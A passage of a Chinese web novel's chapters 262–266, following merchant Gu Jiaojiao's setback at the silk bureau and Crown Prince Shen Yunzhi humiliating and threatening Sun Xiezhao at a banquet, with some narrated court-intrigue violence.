许多年前,安阳候府也是名门望族,不然当年,顾皎皎的父亲也不会用那么多银钱让她女儿嫁入候府。 只是近些年来,子侄无用,一个孙协兆本有出头之日,却又屡次被冷落,这候府日渐衰落,若再无起色,怕也撑不了多久。 “母亲,您这是杞人忧天,如今我可是平王的女婿,位列朝臣是早晚的事,而且,青青对我一心一意,情深义重,她自是会扶持我的。” 孙协兆说的无比确定,可这些在孙老夫人听来却似是个笑话一般。 “平王若真的当你是女婿,你们成婚这般久了,怎么一个差事也没安排给你?如果你当时不是行差踏错,如今可就是太子门下了。” “还有那徐青青,她也就是有些银钱,说起来,她那些银钱都是固定,还不如顾皎皎,最起码能赚钱。” “你被那狐狸精迷了心智,我也不便多说什么,可你身为候府最有前途之子,总要为以后打算。” 孙老夫人一连串说了许多,这些话她早就想对孙协兆说了,自然,这也证明了孙家人的本性,既要,又要。 娶徐青青之前,孙老夫人只想着这位郡主嫁过来,可以帮他们度过难关,像从前一样维护着整个候府的生计。 如今,他们不用欠债,吃穿不愁,便想要的更多。 此时,章氏与刘氏也在孙老夫人的示意下帮腔。 “三弟,你们是新婚,恩爱些也是正常,只是男子嘛,终要以仕途为重。” “是啊,莫不说我们身在京城,即使是县城也是要论前程的,何况徐青青的身份也终究没有太光彩。” “我们安阳候府这几个月来已然被京中人嘲笑,三弟若是再不争气些,那日后岂不是日日被欺凌?” “依我看,三弟既然做了这平王的女婿,不如就去找平王,他若真疼他女儿,总不会坐视不理。” 这几人你一言我一语,最终道出了她们的最终目的。 只是,等她们说到正事的时候,孙协兆已然不耐烦了,看向几人的目光也透着一丝阴冷。 “二位嫂嫂倒是说的大义凛然,莫不是忘记了,自青青嫁过来,你们得了多少好处?” “大嫂头上的这支珠钗足足有二百两银子,那可是青青送你的,就连你母家兄弟出事,也是青青出了银钱的,还有二嫂,前日在铺子相中一副头面,多少银钱你心中有数吧?是谁出的钱?” “你们所有的好处都来自青青,现在却又摆出一副很是为候府着想的样子,既然这般为候府着想,你们怎么不出钱不出力?” 孙协兆倒是少与两位嫂嫂争吵,这一开口便直戳二位的心窝,让那两位头都不敢抬。 “协兆,你这是做什么?她们说的有何错,难不成为了一个女子,你连家人都不要了吗?” 孙老夫人气的浑身发抖,音量都不自觉的提高了不少。 孙协兆却依旧无动于衷。 “母亲,我知您与青青不和,处处刁难于她,她看在我的面子已经很忍让了,但您也要收敛一些,莫要忘了,如今我们候府可是都靠着青青的。” 孙协兆起身便准备离开,但在门口处又停下脚步。 “关于进入朝堂之事,母亲大可不必担心,我有才华,平王总会看到的。” 说完,他大步离去。 咳咳。 孙老夫人气的胸口起伏,气的咳嗽不停,章氏与刘氏立即上前帮她顺气。 “这个逆子,逆子。” “母亲,其实三弟说的也没错,不如再等等。” 刘氏立即在旁边说道,只是声音有些小。 “母亲,我们候府刚刚缓过来一些,不如给三弟一些时间,想来他是会处理好的。” 章氏也似是劝说着一般。 听到两个儿媳这种话,孙老夫人更是气愤不已。 “你们两个真是好样的,竟然背着我收了人家那么多东西,几百两几百两的花出去,你们可真是对得起我。” 孙老夫人气愤的自然是她这两个蠢儿媳都得到了那么多好东西,而她这个整个候府最尊贵的人,却什么也没有。 “母亲,您这可是错怪我们了,那徐青青要送,我们也不好不收啊。” “是啊,是啊。” 孙老夫人又狠狠的骂了她们一顿,才将她们赶了出去。 这安阳候府里的热闹没有片刻停歇。 顾府。 顾皎皎睡了个午觉,醒来时,脸上还挂着一抹慵懒。 “姑娘只睡了半个时辰,今日无事,可再多睡会儿。” 丝织局的事告一段落,她们也确实没有可忙的了。 顾皎皎走下床榻,伸了个懒腰。 “不了,稍后去霓裳阁看看,虽然没有拿下供货权,但那些绣娘准备这些东西也花费了不少时间精力,该去奖赏的。” “姑娘就是这般心善。” 莺儿笑笑,扶着顾皎皎坐下,准备为她梳妆。 正在此时,门外有丫头来报,说是外面有位姓杜的男子求见。 “奴婢已经回了,说姑娘今日疲乏不见人,可那人就在门外站着,也不肯走。” 门外的侍女说着时,也似很是为难的模样。 “姓杜?莫不是……” 莺儿猜到了来人是谁,低声开口。 顾皎皎也知来人是谁,便微微点了点头。 “去请那人进来吧,姑娘在正厅见他。” 莺儿冲着门外说道,那侍女应下后便离开了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十二章 是我不好 杜玉荣的到来,还是让顾皎皎颇感意外。 “听闻了你今日在丝织局时发生的事,便想着来看看你。” 杜玉荣是儒雅公子,向来守礼,可他却为了顾皎皎三番两次上门。 顾皎皎坐在他对面,挂着淡淡的笑,依旧是那副沉静自持的模样。 “杜大人见笑了。” 她低垂下眼眸,无论是神情还是语气里都没有半分难过或者是生气的模样。 杜玉荣看着她,似是看穿她在强撑一般,眼底闪过一抹心疼。 “宫中之人向来如此,虽然是奉旨办事,但也畏惧强权,宫中与宫外不一样,在那府皇城里了结一条人命比碾死一只蚂蚁还要简单,姑娘莫要放在心上。” 他的声音依旧如阳光般温暖,说出来的话自也是中听的。 顾皎皎抬起头迎向他的目光,眼中带着一丝感激。 “有劳杜大人记挂了,也多谢大人宽慰,想来终是我准备不够充分,无妨,下次再试便是了。” 她只是说的轻松而已,下一次,要等一年后了,她也不知道这中途会不会有什么变化,终究一切都是未知的。 这一次,杜玉荣并未看穿她的想法。 “姑娘这般想就对了,老话说好事多磨。” 他说着,指了指身旁的一个盒子,再次笑着开口。 “这是城东铺子的樱桃煎,家母甚是喜爱,我便想着带给你尝尝。” 他总是想将最好的东西带给她。 顾皎皎侧头看了一眼莺儿,莺儿立即走过去将那盒子拿过来。 “杜大人真是懂我家姑娘,姑娘想吃这个许久了,但未敢去买,怕那铺子的老板以为我们是要偷学手艺。” 莺儿的话语间都是惊喜,也拿出里面的樱桃煎递给顾皎皎。 此时,莺儿才看到顾皎皎瞪了她一眼。 “姑娘若是爱吃,我每隔几日给你送些来便是,也是方便。” 杜玉荣面色温和,眸子里也是一片赤诚,甚至还释放着期盼的光芒。 顾皎皎浅尝着那樱桃煎。 “味道确实不错,只是不敢劳烦杜大人,且我肠胃向来不好,此物也不敢多食。” 她委婉的拒绝了杜玉荣。 他们男女有别,身份悬殊,若真是见面频繁,不知还会生出什么事端。 此时杜玉荣也意识到自己的提议有些唐突,面露尴尬。 “是在下冒昧了。” “听闻朝中已经开始早朝了,想来杜大人也是极为忙碌。” 顾皎皎转开话题,似只是亲聊一般。 “是,皇上还依旧昏迷未醒,但太子殿下下令,朝臣不可懈怠,不可延误公务,便恢复早朝。” 提到太子,杜玉荣也是难掩敬佩之情。 皇上这一昏迷,朝内朝外动荡不安,不知有多少人盼着皇上快些醒来,也不知道有多少人盼着改朝换代,各有各的心思,暗中也得有所行动。 沈云祉虽为初立的太子,但自有他的威严,也对朝政之事颇为用心,处理得当。 “我倒是还好,只是老师忙碌,近来帮着太子看管朝政,闲暇时也与云南王在宫中下下棋,喝喝茶。” 杜玉荣所说的老师便是当朝的首辅大人,也就是赵蕴苎的爷爷。 “首辅大人两朝元老,在此时愿意辅佐太子殿下,是好事。” 顾皎皎想都没想的便说道。 这话让杜玉荣有些意外,看了她片刻才笑意盈盈的开口。 “不成想顾姑娘对朝政也如此了解,令在下刮目相看。” 他是由衷的称赞,这也让顾皎皎有些不好意思。 她对朝堂之事懂的越来越多,是因为沈云祉的缘故,只是这话是不可言说的。 “杜大人莫要取笑,只是近来京城之中流言纷纷,我在第一楼自也会听到一些。” 杜玉荣欣赏她,无论是她的脾性,还是聪明才智,都是大多女子比不了的。 二人又闲聊片刻,杜玉荣觉得留久不便,才起身告辞。 顾皎皎站在顾府门口,看着杜玉荣的马车越走越远,才让莺儿备车。 她带了一些银两以及一些首饰,去了霓裳阁,也命人将霓赏阁闭门。 在二楼的一间厅室里,顾皎皎的面前站着伙计、绣娘,以及掌柜的等等二十余人,每个人看上去脸色都不太好。 没有通过丝织局的备选,众人心情都不好,甚至还会自责。 顾皎皎看着他们,不禁笑起来。 “我是老板,我都没有难过,你们难过什么?” 她这一开口,面前的人更为自责。 “姑娘,都是我们不好,若是再仔细一些,再想出些新样式,怕就不会这样了。” “是啊,姑娘待我们这般好,我们却连这件事都做不好,是我们有负姑娘。” “丝织局一年只选一次,这次错过了,是我们对不起姑娘。” …… 众人对顾皎皎的心意都在这些言语之上了。 此时的顾皎皎更觉得对不起他们,她站起身,走入他们中间。 “此次的事不怪你们,是我不好,是我得罪了人才会是这样的结果,若说抱歉,是我对不起你们。” 她的声音很低,却也是认认真真。 大家都听说了当时的事情,也知道顾皎皎与安阳候府的过节,可他们还是觉得,若是他们做出来的东西好些,再好些,便也不怕别人从中使坏了。 自然了,他们这样的想法是过于单纯的。 “姑娘,你别担心,我们一定会努力,让使坏的那些人在京城之中卖不出一匹料子。” 一个伙计突然高喊,将顾皎皎逗笑,也让气氛变的轻松一些。 “好,要的就是你们这句话,这点小挫折对我们来说不算什么。” 顾皎皎说着时,也让莺儿将给大家的赏银带了上来。 这段时日为了准备丝织局的供货权,大家也是日夜不休的忙着,就算事没成,他们也是付出了的。 “每人一锭银子,一支珠钗,不许拒绝,伙计们拿着珠钗要么送自己娘子,要么送给娘亲,莫不可拿到外面挥霍。” 她一声令下,整个厅堂内都充满了欢呼声,顾皎皎想要的,从始至终也不过是个人人和乐。 可就在此时,楼下却传出了巨大的砸门声。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十三章 她并无特别 顾皎皎带着人下楼,打开大门时看到来人,她间在原地半晌未动。 沈云祉一身青色衣衫,如雕刻般的脸一如从前,那若有若无的笑挂在薄唇间,带着一丝邪魅,大步跨进霓裳阁。 “本是生意最忙的时候,怎的还关门了?” 沈云祉一开口,也让顾皎皎回过神。 “见过太子殿下。” 她欠身行礼,身后的一群人都跪下问安。 沈云祉抬了抬手,示意众人平身,而后打量着顾皎皎,眼中的笑意更浓。 “难得出宫,顾姑娘可有空陪本宫叙叙旧?” 他已然是名副其实的太子,这句‘本宫’,也似是显示着他的身份。 顾皎皎侧身,伸手指向楼上。 “殿下,请。” 二楼的正厅里,摆放着一许多衣衫,地中央摆着桌子椅子,空间不大。 “太子殿下见谅,霓裳阁并没有雅致一点房间,望殿下莫要嫌弃。” 顾皎皎看着沈云祉坐下,她才站在一旁低声开口。 沈云祉不以为然,只是微挑眉毛,眼中笑意未减。 “顾姑娘近来消瘦了不少,可是有事不顺?” 他没有因为太子的身份而变的稳重些,深邃的目光里也依旧一片晶亮。 顾皎皎微低下头,笑的淡然。 “太子殿下说笑了,我能有何事,不过是近来忙了些。” 她所遇之事都是不可说的,也不必说。 此时的沈云祉并不知丝织局之事,他也没有告诉顾皎皎,他一出宫便是直接来找她,还未曾去过其他地方。 “那便好,我此次来是想谢谢你,关于平王叛乱之事。” 说来也是奇怪,上一次沈云祉出宫,也一样是谢她,是因为请洪甫先生之事,这一次又是感谢。 其实平王闯宫,对沈云祉也没有威胁,只是若没有顾皎皎的通风报信,怕是会有死伤。 “因为你,未动一兵一卒,这才是最好的结果。” 他说的真诚。 “太子殿下运筹帷幄,本就不将平王放在眼里,何况即使没有我,想必殿下也是胸有成竹的,便也谈不上谢了。” 顾皎皎回答的得体,温婉谦和。 沈云祉笑着站起身,环顾了下四周。 “本宫从宫中带出了一些小玩意,稍后让双瑞给你留下,只当解闷便是。” “殿下,我……” “不许拒绝,我还有事,先走了。” 沈云祉态度强硬,但离开前还是给了顾皎皎一个笑脸。 顾皎皎走出这个房间的时候,沈云祉已经带着人走了,只留下莺儿抱着一个紫檀木盒在一旁站着。 玉镯,珠钗,耳环,还有精致的雕花玉佩,这些东西了将这个盒子塞的满满的。 “姑娘,这些可都是宝贝,看这对手镯,比老爷之前给你留下的那对还要好。” 莺儿是个小财迷,双眼放光般的说道。 她说的也没错,那对辣阳绿的手镯,在阳光都透着光影,无论是成色还是做工,都是世间极品,也可见沈云祉出手多么大方。 只是,顾皎皎的心底却没有多余的喜悦,只是觉得这些东西极美。 “姑娘,你不会又要送回去吧?” 莺儿看着顾皎皎的脸色,忍不住不情愿的开口,莫不说这些东西值多少银钱,只是看着都让人觉得赏心悦目。 “太子殿下留下话了,不可拒绝。” 顾皎皎将那紫檀盒子盖上,向一侧推了推,而后才再次开口。 “收起来吧,先放入库房。” 她的语气里有明显的失落,可是莺儿却不知为什么,只得听令行事。 是赏赐。 顾皎皎知道那些东西,是沈云祉给予的赏赐,像宫中赏赐下属,官员赏赐百姓一样,她立了功,他便送来赏赐,想来在军中他也是如此对待他的士兵。 这便是顾皎皎无喜无忧的原因,她并无特别。 另一边。 沈云祉前往了他自己名下的那两间商铺,这二位管事皆是他一手提拔,如今将证据摆在他们面前,听着他们的求饶声,沈云祉的内心并无波澜。 他是皇室中人,自小见惯了尔虞我诈,人心最为难测这样的话,在他这里从来都不是一句空话。 沈云祉倚靠在榻上,半眯着眼,阳光洒在他的脸上,完美的侧脸挂着让人琢磨不透的神色。 这间屋子里,除了这一点阳光,其他地方才是密闭的,所以那两位管事的求饶声便显得格外刺耳。 “太子殿下饶命,小人再也不敢了,小人是鬼迷心窍。” “殿下息怒,请殿下留小人一条命,就当留一条狗在您身边侍候,殿下……” 二人的哭喊声终是使沈云祉微微皱了皱眉。 他侧目,斜了斜眼,薄唇微扬。 “我记得你们都曾是我的家臣,因着信任,才将这些生意交给你们,不成想,最先背叛的反倒是我最信任的人。” 他冰冷的目光投过来,地上的二人不禁缩了缩脖子,瞬间觉得后背发凉。 “我呢,也不是不念旧情的人,这样,赏你们个全尸吧。” 沈云祉这话说的如玩笑一般,轻巧到让人觉得他只是想杀一只鸡。 地上的二人瘫软在地,哀号声再次响起,许是太过吵闹,双瑞上前一人踹了一脚。 “以你们的所作所为,只是杀了你们,不连累家人,已然是恩惠了,还敢乱叫。” 双瑞大吼出声后,便在沈云祉的示意下,将二人拖了出去,这个房间才安静下来。 双瑞说的没错,此二人不只在帐目上作假,还留存了沈云祉一些生意往来的证据,他们意欲何为并不知晓,可若是出事,便是惊天动地。 沈云祉一直觉得,只有死人的嘴最为牢靠,尤其是在大局未定之时。 他再次闭上双眼,拄着头,一副闭目养神的模样,而就在此时,双剑从外面走了进来。 双剑一直留在宫外,负责传递消息,以及稳固一些势力。 “太子殿下,平王那里近来安静不少,不少朝臣也与他断绝来往,他再想生什么风浪,怕也是不可能了。” 双剑汇报着,沈云祉从鼻子里发出一声‘嗯’,再无他话,对于这个结果好似也并不意外。 “还有一事,是关于顾姑娘……” 沈云祉猛然睁开双眼。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十四章 知错就改 双剑将顾皎皎所遇之事一五一十的说给沈云祉。 丝织局本归属朝廷,一年一度的挺拔也自是会看品质,毕竟都是宫内用的东西,他们也不敢太过放肆。 此次选拔,霓裳阁本应该是当之无愧,但因为孙协兆与徐青青二人,丝织局也不敢得罪王爷。 听着最终的结果,沈云祉倒是不禁扬了扬嘴角。 “顾皎皎啊,还是心肠不够狠。” 他说着,便站起身,看了看外面的天色。 “你跑一趟,本宫在第一楼宴请孙协兆。” “是。” 双剑应下,转身走了出去。 沈云祉也没有闲着,前往了丝织局的在宫外的临时之地。 经过选拔,丝织局最终还是定了之前的供货商,他们在整理的时候也不免觉得有些可惜。 “霓裳阁的布料是上品啊,怕是这满京城加起来也不及他们的。” “你我都知道,可是那掌柜的得罪了平王的女儿,你有几个脑袋敢接下这个罪名?” “我自然也知晓,只是……” 那人话音未落,便看着外面的人走了进来。 “参见太子殿下。” 这些内官自是认识沈云祉的,自然也是害怕的。 他们常年在宫中侍候,从未听说过太子或者是皇上亲自过问丝织局之事的,他们诚惶诚恐。 沈云祉双手背在身后,并未让他们起身,而后便在这间屋子里缓慢的踱着步。 这屋子里堆着许多布料以及一些男女款式的成衣,按照规矩,来参加选拔的人都会将自己的东西留下,作为查验的根据。 不过,这里没有顾皎皎的东西,她也是唯一一个连她东西都没有收下的人。 沈云祉抬手,轻抚那些布料,随后便看到了徐青青的名字。 他抬手轻轻拿起那名牌,眼底闪过一抹笑意。 只看着他这样的举动,那几位内官便不由自主的发抖,想必有些事是瞒不住的。 这位新上位的太子殿下,他们也是听说过了的,行事诡诀,从不按常理出牌,做事狠辣,又从不拖泥带水,他与当今圣上不同,所谓的仁慈在他身上从未看见过。 “本宫出宫本有要事办,却不想在街头巷尾间便听到了有关皇宫的传言。” 沈云祉走到几位内官面前时,手里还拿着徐青青的姓名牌,微微翻动,丝毫不掩饰眼底的嫌弃。 “本宫以为,宫中者,讲规矩,讲律法,方不失皇室威严,但却不想,本是为皇室办事的人,却惧怕一个藩王,你们说这是为何?” 沈云祉话音落下之时,那个姓名牌也掉落在了几位内官的脚下,声音不大,却让几人微微颤抖。 “奴才知错,请太子殿下责罚。” 几人几乎是异口同声的说道,声音都有些沙哑。 沈云祉挑了挑眉,眼底的笑容更为灿烂。 “本宫喜欢聪明人,几位是为皇室做事,偶尔疏忽也是有的,想来也定能知错就改,那便就谈不上责罚了。” 他倒是觉得省事不少,看样子这些人常年与一些生意人打交道,早就练就了一身听话听音的本事。 “是,太子殿下教训的是,此次丝织局的选拔确实有些草率了,奴才们都觉得明日可再对比一下,尤其是霓裳阁,该好好检验一番才是。” 这话,让沈云祉露出满意之色,他未再说什么,大步离开。 第一楼。 夜色已暗,却是这里最为热闹的时候。 一楼的散桌里,有三五好友高谈阔论,也有一些人借酒浇愁,这便是人生百态。 “姑娘,太子殿下的房间已经备下了,餐食也在备着,只是这个时间了,殿下会来吗?” 莺儿与顾皎皎一同站在楼梯间,看着下面,有些怀疑。 说实话,顾皎皎也不确定。 她是在不久前才接到沈云祉要来用膳的消息,太子驾到,自然是要好好准备,但来传话的人似是说,还请了其他人,顾皎皎便更谨慎了一些。 正在此时,她在楼上看着一个熟悉的身影步入第一楼。 “他怎么来了?” 随着莺儿的一声惊呼,顾皎皎的眉头皱起,但也立即向楼下走去。 “你来做什么?我们第一楼不欢迎你。” 率先开口的是莺儿,看着眼前的人,这丫头的小脸上已经满是掩饰不住的愤怒。 “我是安阳候府的公子,平王的女婿,想去哪儿就去哪儿,你们第一楼也该敬着。” 孙协兆高昂着头,鄙夷的目光扫向刚刚下来的顾皎皎。 “再说了,你们掌柜的见钱眼开,还会不做我生意?” “不做。” 顾皎皎毫不犹豫的说道,上前一步将莺儿拉到自己身后。 “我既是老板,便有可以选择顾客的权利,孙三公子人品欠佳,家风不正,我不屑于与你这样的人为伍,也嫌弃你的银两满是软饭味。” 顾皎皎丝毫没有客气。 孙协兆脸上的得意的瞬间散去,被一抹愤怒所取代。 “你这个贱人,你……” “孙公子先到了。” 身后,一道清冷的声音响起。 顾皎皎抬起头,看着沈云祉走过来,他的身后还跟着杜玉荣。 “见过太子殿下,见过杜大人。” 孙协兆顿时一脸谄媚的上前,极尽讨好之相。 他自是得意的。 曾以为他是得罪了沈云祉,却不想今日便收到了沈云祉的邀请,他一度认为他如今是平王的女婿,哪怕是身为太子的沈云祉也想要拉拢他。 “本宫知道顾姑娘与孙公子之间有些误会,只是今日本宫也是有要事相商,还望姑娘行个方便。” 沈云祉很是客气,没有下令,甚至没有威胁,他这个样子也是做给孙协兆看的。 顾皎皎自是明白他的意思,微微欠身。 “太子殿下言重了,民女开门做生意,自是没有什么不妥,厢房已经备下,殿下请。” 她侧身让出了一条路,微低着头,好看的脸上没有什么多余的神色。 只是在杜玉荣经过她时,她淡淡的笑了笑,微微点头。 杜玉荣眸子幽深,却无法掩饰他眼中的温情,笑起来时一如阳光般温暖。 这一幕并没有逃过沈云祉的眼睛。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十五章 不必如此苛责 第一楼精致的雅间内,桌上已然摆满了食物,三人围桌而坐,气氛却显得有些异样。 “大抵不是从宫中长大,对于宫里的膳食多少有些不适应,在宫中的这段时日,也是时常想念第一楼的食物。” 沈云祉开口之时,余光瞟子一眼孙协兆,可以看到他额间冒出的细碎的汗珠。 “太子殿下说的是,顾姑娘经管的第一楼,确实是天下无双,就边家母不爱吃外面的点心,却也会时常念叨这第一楼的糕点。” 杜玉荣在一旁附和着。 如今,沈云祉与杜玉荣分属君臣,可是这默契一如既往。 倒是这孙协兆,只在一旁坐着,插不上话,涉及到顾皎皎,他也不知该如何开口。 沈云祉对顾皎皎格外关照是众所周知的事情,原本以为今日是升官发财的机会,却不想是鸿门宴。 “孙公子,你觉得呢?” 沈云社突然开口。 孙协兆立即低下头,尴尬的扯动了嘴角。 “太子殿下说的自然是对的。” 沈云祉大笑出声,而后摇了摇头。 “也未必,本宫近来出宫的时日少些,宫外的事便顾不上,可偏偏有些人会在此不知好歹的挑衅本宫,若是按照律法,不知是何罪名?” 他说着,冲杜玉荣挑了挑眉毛。 “太子殿下不常在京城走动,对律法自是不熟,但臣熟知,若是对储君不敬,便是挑衅皇权,按律当斩,诛九族。” 杜玉荣接到沈云祉邀他在第一楼一聚时,便已知他的意图,所以应对起来自然是得心应手。 只在他话音落下之时,孙协兆便慌乱起身跪到了地上。 “太子殿下明鉴,我并无挑衅皇权之意,从来不敢有这样的念头。” 他自是慌的。 皇上昏迷,如今所有大权都落在沈云祉手上,他只要随便找个理由就可以让安阳候府覆灭,轻而易举。 “孙公子这是为何?本宫也并未说什么。” “回太子殿下,我今日确实与顾皎……顾姑娘有些争吵,但并无其他意思,还望太子殿下明察。” 孙协兆觉得将自己的行为说的委屈一些,便会无事,可他终究不了解沈云祉。 与顾皎皎争吵,能定什么罪?什么都定不了,不如换个思路。 “孙公子,你说的事,本宫并不知晓,倒是找到了一些人证,可以证明孙公子曾满天下的散布有关本宫的谣言。” 孙协兆眼里都是慌乱。 他确实做过,只是那时,沈云祉不是太子,还是小云南王,而且为留后路,孙协兆还只是说是顾皎皎行狐媚之术,意图勾引。 见孙协兆不知该说些什么,杜玉荣便在一旁开口。 “竟有此事?孙公子,你可知议论储君是何罪过?还是谣言,如此这般,莫不是平王的意思?” 说到平王,孙协兆更是从心底里害怕,他可是清楚的记得平王交待过,让他们离顾皎皎远些。 “不不,太子殿下,我从未做过,敢以安阳候府的未来发誓,定是有人诬陷于我,定是。” 孙协兆不敢认,如今就算是刀架在脖子上,也不敢认。 沈云祉不以为然,微微扬了扬薄唇,一股冰冷从他的眼中释放出来。 “本宫信你。” 说完,他拍了拍手,随后双瑞便走了进来。 “那些都是什么人?” 他这个问题问的双瑞。 “回殿下,有说书的,有小商贩,也有乞丐,还有孙公子的贴身侍从。” 双瑞答道。 孙协兆眼睛都不禁瞪大了几分,他出门前侍从还是在府里的,由于是要见沈云祉,他也未曾让侍从跟着,没想到…… “太子殿下,属下并不知此事。” 孙协兆一个头磕在地上,发出沉闷的响声。 沈云祉装出一脸认真的模样点了点头。 “双瑞,孙公子说与他无关,那必是那些人在撒谎,都杀了吧。” 他一声令下,双瑞转身出门,孙协兆便感觉自己整个人都如坠冰窖之中,全身也似被冻住了一般。 “本宫在宫外也没什么人手,既是杀了人,也无法料理,不如这些尸体送入安阳候府,孙公子帮忙安排下葬如何?” 沈云祉似是询问,深邃的眸子里是琢磨不透的光芒。 “自,自然,太子殿下放心。” 孙协兆的声音都在颤抖。 “起来吧,我们本是旧相识,不必如此生分。” 沈云祉下令之时,又看了杜玉荣一眼。 “说起来,孙公子也是为人太过和善,身边总是出现一些不服管教之人,我也是来时才听闻,孙夫人今日还当众贿赂宫里的人,这胆子也是不小啊。” 沈云祉也好,杜玉荣也罢,都未提顾皎皎被欺侮之事,可是每提一项,都让孙协兆担不起。 “竟有此事?” 沈云祉装出震惊的模样。 “殿下息怒,是内人不懂规矩,她只是觉得那几位大人辛苦,一时心善,属下回去后定会处罚,绝不会再次发生。” 原本要起来的孙协兆又再次跪了下去。 此时的他,已然觉得还不如死了算了。 “尊夫人乃是平王之女,位为郡主,怎会不了解规矩?孙公子,你这可是治家不严之罪,是要下狱的。” 杜玉荣又补了一句。 “玉荣,不必如此苛责。” 沈云祉摆了摆手,凝视着孙协兆,又悠悠开口。 “如今朝廷是用人之际,孙公子饱读诗书,日后也可为朝廷所用,内宅之事倒也不必过于严苛,只是如此,怕是难以服众啊。” “太子殿下说的是,属下愿受责罚。” “那也好,不如这样吧,从明日起,你每日在府门前站着,吟诵道德经一遍,连读七日,以示警示,想来旁人也不会说什么了。” 道德经,向来是女子所学,一些大家为了让新入门的媳妇听话,做惩罚时也会让她们诵读道德经,男子少有接触。 如今,太子下令,就算孙协兆觉得屈辱,也只能应下。 “多谢太子殿下。” 孙协兆的声音已经因为紧张与害怕显得沙哑,额头上因为磕头也留下了青紫的痕迹。 他没有机会在这里用膳,而是在沈云祉的命令下,回去收尸。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百六十六章 微末小事 雅间内的对话,顾皎皎在门外听得一清二楚。 并不是她有意偷听,而是在那三人进入房间后,双瑞便来传沈云祉的话,只让顾皎皎站在门外。 开始,顾皎皎甚至觉得沈云祉是有意为难她,但现在她知道了。 孙协兆从那房间灰溜溜出来的时候,像极了一只落水狗,狼狈不堪,再无刚来时的意气风发,在看到顾皎皎时,更是连一个眼神都没敢留下。 顾皎皎从未见过了孙协兆这般,在她面前,这个男子向来是目中无人,嚣张跋扈的。 “进来吧。” 沈云祉的声音从里面传来,玩味中带着一丝笑意。 顾皎皎回过神,还是调整了一下情绪,才踏进这间屋子。 桌上的饭菜未动,但面前的二位却很是高兴的模样。 顾皎皎逃不掉,躲不开,也只能微微欠身行礼。 “多谢太子殿下,多谢杜大人。” 她自然知道这二位今日对孙协兆所做之事,是为了替她讨个公道,在两位聪明人面前,她也无须伪装。 “顾姑娘莫要客气,何况今日之事都是太子殿下的主意,我并未做什么。” 也只有在顾皎皎面前,杜玉荣才会少了一些清高,温和如玉。 “坐。” 沈云祉指了指身边的位子。 顾皎皎拒绝不得,只得坐下来。 男女授爱不亲,男女同席更是大忌,但顾皎皎与这二位,似乎早就打破了这种界限。 “丝织局的事,我听说了,你为何没有告诉我?” 沈云祉突然开口质问。 杜玉荣愣了一下,就连顾皎皎都微怔。 他这话是什么意思? 为什么要告诉他?这明明是顾皎皎自己的私事啊?难不成还要他帮忙走后门不成? 这些只是顾皎皎心里想的,自然是不敢说出来的。 “太子殿下日理万机,这等微末小事,怎敢打扰。” 她还是找了一个冠冕堂皇的理由。 微末小事? 沈云祉可是打听过了,为了这丝织局的选拔,她几天都没有休息,更是命霓裳阁的人拿出了最好的作品。 如今,她却只是说微末小事。 “顾姑娘向来注重生意,很久前便想着成为皇商,现在倒是不在乎了。” 沈云祉微挑眉毛,调侃之意那般明显。 顾皎皎低垂下眼眸,神色未变。 “尽人事听天命,我能力不足,霓裳阁也准备不周,下次再努力就好。” 不然她还能怎么办? 为了此事去告御状不成? 她还是要命的。 “顾姑娘不该自怨自艾,既是他人之错,就不该将责任揽在自己身上,何况,路虽到了尽头,谁知又没有峰回路转之时呢?” 杜玉荣说出来的话,确实中听不少,顾皎皎只当他是在安慰自己。 “杜大人说的是,多谢大人。” 顾皎皎没有多想。 沈云祉唇边的笑意并未散,只是眸子里的幽深更重一些。 想着这两位还有其他事要说,顾皎皎便站起身。 “时辰不早了,二位请慢用,民女退下了。” 沈云祉没有阻止,杜玉荣也只是微微点了点头,他们二人看着顾皎皎离开。 “太子殿下此次出宫,莫不是为了给顾姑娘撑腰的?” 杜玉荣的语气郑重了一些,他不是询问,而是心里已然猜到了什么。 沈云祉收回目光,微微点头。 “确实,除了处理一些私事,主要是要事与你相商。” “殿下请说。” “如今朝堂不稳,首辅几次谏言,说可用武力,快刀斩乱麻,你怎么看?” 涉及朝政,沈云祉的神色都郑重了几分。 杜玉荣却很是意外。 “太子初立,殿下又非皇上所出,朝臣有疑虑,有异议乃是人之常情,何故谈到武力?” 他是首辅大人一手栽培,但对于此等想法,首辅从未提过,也并非杜玉荣所愿。 “是啊,我也这般想,也担心会适得其反,表面镇压,但内里会留下隐患。” “殿下所言极是,皇上未醒,殿下出兵,只会给后人留下话柄。” 杜玉荣停顿了一些,也思索片刻后,才缓缓开口。 “依臣之见,在皇上醒来前,殿下只做自己份内之事,朝堂之上有首辅大人,宗室里有云南王,只要天下不乱,殿下不妨就耐心等着。” 杜玉荣能得首辅器重,能得沈云祉信任,自有他的过人之处。 他所说的话,与沈云祉的想法不谋而合。 “你说的没错,只是如今我被困于宫中,对于外界的事着实了解的太少,我的意思是……” “殿下放心,虽然不对朝臣们做什么,但对于他们的心思也是要了解的,臣家世清白,向来不参与党争,又常伴首辅大人身侧,了解这些并非难事。” 杜玉荣直接接下沈云祉的话。 沈云祉未在说什么,只端起了面前的酒杯,杜玉荣立即与他杯子相撞,发出清脆的响起。 于杜玉荣而言,辅佐沈云祉为正统,是万心归一的事,身为臣子,他必须做。 于沈云祉而言,他行任何事,用任何人,都要保证这个人心术极正,就算有一天出现什么差错,也不会牵连万千百姓。 他们商量的这些,顾皎皎是没有听到的。 她有些疲累,离开那个房间后便回了顾府,应付这些大人物,会让她身心俱疲。 “姑娘是因为那孙三被罚才高兴的吗?” 莺儿端着热水走进房间时,看到顾皎皎坐在镜前,她的眼中流露出几分喜色。 顾皎皎的表现并不明显,却逃不过一直跟着她的莺儿。 她转头笑了笑。 “算是吧。” 她早就不将孙协兆放在眼里,所以他是被罚还是被赏,她都不甚在意。 她高兴的是,孙协兆被罚是沈云祉的下的令,他为她出这份气,她便觉得开心。 “姑娘是应该高兴的,奴婢跟着你这么久,也是第一次看到那孙协兆这般狼狈,只是不知道,太子殿下说让他回去收尸,是真的收尸吗?” 莺儿无心之言,顾皎皎拿着梳子的手顿了顿,眼中晶亮的光芒也黯淡了几分。 沈云祉可以爱民如子,也可以杀伐果断,以他的脾性,说是杀了,那便是真的杀了。 